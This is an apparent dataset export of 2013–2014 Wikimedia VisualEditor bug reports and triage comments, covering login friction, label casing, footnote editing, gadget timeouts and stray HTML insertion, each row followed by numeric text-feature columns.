The unusually buggy deployment of the VisualEditor has caused large numbers of English Wikipedia editors to have bugs to report.  But the process of reporting bugs is a cumbersome many-step process -- starting with a requirement to ""log in"" using a credential that most editors do not have.

The rest of the Wikipedia universe uses a universal login system in which you log in with the same username and password to everything, and it all works together.  Somehow Bugzilla didn't get integrated with that.

So instead anyone with a bug report for Visual Editor -- assuming they can even find Bugzilla, perhaps from a comment in an RFC about disabling the Visual Editor, as I found it -- then has to get through the ""New User"" process, which includes providing an email address, checking mail at that address, and accessing a URL which then demands that a new password be created and remembered.
This step should be avoided for logged-in Wikipedia users.

I'm sure that many, many Visual Editor bugs are noticed by editors, but are never reported due to the pain of the reporting process.  This shortage of bug reports may serve the political purposes of the WMF in attempting to ram the new editor down the throats of the community, but it is not a good management practice, nor will it result in eliminating the bugs that make the Visual Editor too troublesome for naive use at this point.

(The remaining process of bug reporting is also cumbersome and complex -- but 
in this bug report I have no suggestions on how to fix that.)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
243378,"Wikimedia editors aren't automatically enrolled in Bugzilla, reducing VE bug reporting","(In reply to comment #0)
> The rest of the Wikipedia universe uses a universal login system in which you
> log in with the same username and password to everything, and it all works
> together.  Somehow Bugzilla didn't get integrated with that.

That's bug 14487. If you don't want to create a Bugzilla account you can report issues at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback .

*** This bug has been marked as a duplicate of bug 14487 ***",,,1375847060,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ud6rksuxulevqjsfqs6h,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,5.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.036363636363636,0.6909090909090909,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

That's bug 14487. If you don't want to create a Bugzilla account you can report issues at URL .

*** This bug has been marked as a duplicate of bug 14487 ***"
54586,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","From en.wp user Cryptic C62:
The beta button on the toolbar ""should not be labelled ""Beta"", not ""BETA"". The latter looks like it might be a mysterious acronym. ""

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1375820700,1393528505.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rvrst7lvd6twcpeipdkt,task_description,invalid,True,c1,3,False,False,False,5,,0.0,0.0,0.0,2.0,4.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5964912280701755,0.6491228070175439,"From en.wp user Cryptic C62:
The beta button on the toolbar ""should not be labelled ""Beta"", not ""BETA"". The latter looks like it might be a mysterious acronym. ""

--------------------------
**Version**: unspecified
**Severity**: minor"
242799,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","This label no longer exists, but instead is just the help ""(?)"" icon.",,,1393528505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.9473684210526315,"This label no longer exists, but instead is just the help ""(?)"" icon."
242792,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","(In reply to comment #1)
> Can I work on this bug? I know it has been assigned to someone but looks like
> nothing has happened here for sometime.

It looks like that's the default assignee for bugs in this component. In general it should be fine to do these.",,,1390957191,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3783783783783785,0.8648648648648649,"(In reply to comment #1)
QUOTE
QUOTE

It looks like that's the default assignee for bugs in this component. In general it should be fine to do these."
242787,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","**aravikn** wrote:

Can I work on this bug? I know it has been assigned to someone but looks like nothing has happened here for sometime.",,,1390221344,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,False,,,29,,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,12.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.8484848484848485,"**aravikn** wrote:

Can I work on this bug? I know it has been assigned to someone but looks like nothing has happened here for sometime."
54579,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"Where articles use the {{ref}} and  {{note}} pair of templates to generate footnotes, e.g. [[List of highest points of Canadian provinces and territories]], it is impossible to edit the contents of the notes in VisualEditor.

The {{ref}} template is editable in the transclusion editor, and works as expected.

The {{note}}-generated notes are apparently one block. No transclusion icon or indication of uneditablility (green stripes) appears on mouseover or when the block is clicked. 

If a link in the notes is clicked it functions as a link would in read mode- ie. the link is followed and you leave the page. VE gives no warning about unsaved edits (although Firefox does).

If the backlink to the location of the {{ref}} template is clicked it functions as above - i.e. it loads the page in read mode at the position of the note, exactly as if you had followed a link to that anchor from any other page on the internet.

It is possible to select the block when selecting content before and after the block, although no indication is given that it has been selected. Once selected it is possible to apply bold/italic formatting to the block and other selected text using the B/I buttons, but it is not then possible to remove it using these buttons while the note block is selected. It is possible to remove bold/italic using the clear format button. The clear format button does not remove any links in the notes block, but does remove links from any other text selected at the same time.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1375800120,1393541169.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_description,declined,True,c1,3,False,False,False,5,,0.75,0.0,0.0,1.75,0.5,5.5,1.25,0.0,0.5,0.75,3.0,0.0,0.0,0.0,0.0,0.25,0.25,3.25,10.5,0.0,1.5,0.0,0.25,0.0,0.25,0.25,0.0,0.25,0.0,0.25,0.75,6.0,2.0,2.75,0.25,0.5,0.25,0.0,0.0,0.0,0.75,0.0,0.25,2.75,0.0,1.25,0.0,0.0,0.0,15.5,0.0,0.75,0.0,0.25,0.0,0.25,0.0,0.5,0.75,0.0,0.25,0.25,0.0,0.25,0.0,0.25,0.0,7.5,3.75,5.0,2.5,2.5,9.75,0.0,0.0,0.0,0.0,2.25,0.0,0.5,0.0,3.5,10.5,2.0,0.0,0.0,0.0,3.5,0.0,0.75,0.75,0.0,1.25,0.0,0.25,0.75,3.925595238095238,0.6287650602409639,"Where articles use the {{ref}} and  {{note}} pair of templates to generate footnotes, e.g. [[List of highest points of Canadian provinces and territories]], it is impossible to edit the contents of the notes in VisualEditor.

The {{ref}} template is editable in the transclusion editor, and works as expected.

The {{note}}-generated notes are apparently one block. No transclusion icon or indication of uneditablility (green stripes) appears on mouseover or when the block is clicked. 

If a link in the notes is clicked it functions as a link would in read mode- ie. the link is followed and you leave the page. VE gives no warning about unsaved edits (although Firefox does).

If the backlink to the location of the {{ref}} template is clicked it functions as above - i.e. it loads the page in read mode at the position of the note, exactly as if you had followed a link to that anchor from any other page on the internet.

It is possible to select the block when selecting content before and after the block, although no indication is given that it has been selected. Once selected it is possible to apply bold/italic formatting to the block and other selected text using the B/I buttons, but it is not then possible to remove it using these buttons while the note block is selected. It is possible to remove bold/italic using the clear format button. The clear format button does not remove any links in the notes block, but does remove links from any other text selected at the same time.

--------------------------
**Version**: unspecified
**Severity**: major"
242359,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.

This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX.",,,1393541169,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,True,,,34,,1.0,0.0,0.0,2.0,2.0,5.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,7.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,3.573170731707317,0.7560975609756098,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.

This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX."
242352,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"cklim: Not sure what your random HTML and image posted here has to do ""VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system"".
Please file a separate ticket as this seems unrelated to this bug report.",,,1393068100,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,8.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3962264150943398,0.7735849056603774,"cklim: Not sure what your random HTML and image posted here has to do ""VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system"".
Please file a separate ticket as this seems unrelated to this bug report."
242346,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"**cklim074** wrote:

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163"" src=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163""></body>",,,1393041491,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.35,0.6333333333333333,"**cklim074** wrote:

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""URL src=""URL"
242339,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"**cklim074** wrote:

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163"" src=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163""></body>

**Attached**: {F11426}",,,1393041446,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,6.6,0.44,"**cklim074** wrote:

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.

<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""URL src=""URL

**Attached**: {F11426}"
54563,VisualEditor: Don't wait indefinitely for gadget servers that are not responding,"When a user has installed a gadget that relies on data from an external server, VisualEditor appears to wait indefinitely for that server to respond. Normally this is OK, but when that server is down VE will apparently wait forever (or at least longer than the 5 minutes I was prepared to wait) for a response.

The source editor appears to give up after a wile (2 minutes?), and loads as if the gadget was not called. VE should exhibit this behaviour too.

Tested with the HAPPI gadget ([[User:EpochFail/HAPPI]]). As of 21:52 UTC 05 August 2013 that gadget depends on a server at wikipedia.grouplens.org that is not responding

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375739580,1390419026.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-brb5wektguex52kczga7,task_description,invalid,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.5,1.5,4.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,6.0,11.5,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,12.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,5.5,3.0,11.0,2.5,1.5,7.5,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.5,11.5,5.0,0.5,0.0,0.0,0.5,0.0,2.0,3.0,0.0,0.5,0.5,0.5,1.5,3.933157894736842,0.7283333333333333,"When a user has installed a gadget that relies on data from an external server, VisualEditor appears to wait indefinitely for that server to respond. Normally this is OK, but when that server is down VE will apparently wait forever (or at least longer than the 5 minutes I was prepared to wait) for a response.

The source editor appears to give up after a wile (2 minutes?), and loads as if the gadget was not called. VE should exhibit this behaviour too.

Tested with the HAPPI gadget ([[User:EpochFail/HAPPI]]). As of 21:52 UTC 05 August 2013 that gadget depends on a server at wikipedia.grouplens.org that is not responding

--------------------------
**Version**: unspecified
**Severity**: normal"
241401,VisualEditor: Don't wait indefinitely for gadget servers that are not responding,"Surely this is the responsibility of the gadget's author?

Also, not sure if the wikitext editor executes poorly-responding gadgets, or it's just apparent happenstance. Either way, 120 seconds is about an order of magnitude too high.

Sorry for very slow triage.",,,1390419026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brb5wektguex52kczga7,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,2.0,0.0,2.0,7.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.148148148148148,0.8148148148148148,"Surely this is the responsibility of the gadget's author?

Also, not sure if the wikitext editor executes poorly-responding gadgets, or it's just apparent happenstance. Either way, 120 seconds is about an order of magnitude too high.

Sorry for very slow triage."
54544,VisualEditor or Parsoid: inserted HTML code instead of Wikilink,"At line 42 of https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&diff=567254040&oldid=566841354 attempting replace what appeared to be an empty image caption with ""The [[Sun]]"" (using ctrl+k for the link, no wikicode) resulted in the insertion instead of:
The <a style=""white-space:nowrap"" data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;val&quot;,&quot;href&quot;:&quot;../Template:Val&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;4.6&quot;},&quot;ul&quot;:{&quot;wt&quot;:&quot;byr&quot;}},&quot;i&quot;:0}"" rel=""mw:WikiLink"" href=""Sun"">Sun</a>

The images were left over from testing for Bug 52341 and so that bug may be related.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375709160,1401418799.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-4xuz3vb5yze6xii6usyj,task_description,declined,True,c1,3,False,False,False,5,,0.0,0.0,0.0,2.0,0.0,3.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,6.5,0.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,2.5,8.5,0.0,1.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,6.5,4.0,0.0,3.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,2.5,5.808634992458522,0.7956259426847663,"At line 42 of URL attempting replace what appeared to be an empty image caption with ""The [[Sun]]"" (using ctrl+k for the link, no wikicode) resulted in the insertion instead of:
The <a style=""white-space:nowrap"" data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;val&quot;,&quot;href&quot;:&quot;../Template:Val&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;4.6&quot;},&quot;ul&quot;:{&quot;wt&quot;:&quot;byr&quot;}},&quot;i&quot;:0}"" rel=""mw:WikiLink"" href=""Sun"">Sun</a>

The images were left over from testing for Bug 52341 and so that bug may be related.

--------------------------
**Version**: unspecified
**Severity**: normal"
240254,VisualEditor or Parsoid: inserted HTML code instead of Wikilink,I'm pretty sure this was a horrible artefact of a nasty bug we fixed back in September; provisionally marking as WORKSFORME. Sorry for the ludicrously-slow triage.,,,1401418799,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4xuz3vb5yze6xii6usyj,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,4.3125,0.9375,I'm pretty sure this was a horrible artefact of a nasty bug we fixed back in September; provisionally marking as WORKSFORME. Sorry for the ludicrously-slow triage.
54520,VisualEditor: Create a design guideline to minimize clicks and key presses,"visual editor easily doubles mouse clicks and key presses. this can be seen, amongst others, on section editing, saving, adding a reference. to avoid bug reports in the line of ""please remove one mouse click while creating a reference"" create a (visual) design guideline mandatory to follow for all developers to minimize mouse clicks and key presses, and maximise screen estate available for editing/viewing the article.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1375607280,1376561195.0,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-kvdgcfvnalphobirayqv,task_description,declined,True,c1,3,False,False,True,4,,1.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,4.418367346938775,0.673469387755102,"visual editor easily doubles mouse clicks and key presses. this can be seen, amongst others, on section editing, saving, adding a reference. to avoid bug reports in the line of ""please remove one mouse click while creating a reference"" create a (visual) design guideline mandatory to follow for all developers to minimize mouse clicks and key presses, and maximise screen estate available for editing/viewing the article.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
238920,VisualEditor: Create a design guideline to minimize clicks and key presses,"Again: This won't be handled in Bugzilla, however pointing to a better place where to discuss would be very good.  Playing the ""I know it's the wrong place but still I want to discuss it here"" card isn't much better either though. :)

Please don't reopen as a sign of disagreement. Thanks.",,,1376561195,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kvdgcfvnalphobirayqv,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,2.0,2.0,5.0,6.0,2.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,17.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,6.0,5.0,12.0,2.0,3.0,8.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,0.0,6.0,9.0,2.0,0.0,3.0,0.0,6.0,0.0,2.0,3.0,0.0,3.0,3.0,0.0,0.0,3.621212121212121,0.7575757575757576,"Again: This won't be handled in Bugzilla, however pointing to a better place where to discuss would be very good.  Playing the ""I know it's the wrong place but still I want to discuss it here"" card isn't much better either though. :)

Please don't reopen as a sign of disagreement. Thanks."
238914,VisualEditor: Create a design guideline to minimize clicks and key presses,"james, let me reopen this one please. there is a big difference between ""it is our intention"" (whoever ""our"" is) and a crystal clear guideline having as primary target:
* minimize clicks and key presses
* response time <3 sec
this would make it so much easier for new developers as well. and so much easier for testers to point out that something is against the goal. 

as i tried to point out above with examples, people were and still are allowed to increase key presses and mouse-clicks considerable compared to the existing solution. i tried to look for design documents or mail references on some tech list to find a justification for this, but could not find one. 

you as a software developer surely know that nothing is more expensive than fixing a design bug. and nothing is more expensive than finding a bug late. just to take an arbitrary url to support this: http://blog.bootstraptoday.com/2011/12/25/early-detection-of-bugs-can-save-up-to-22-billion-yearly/ 

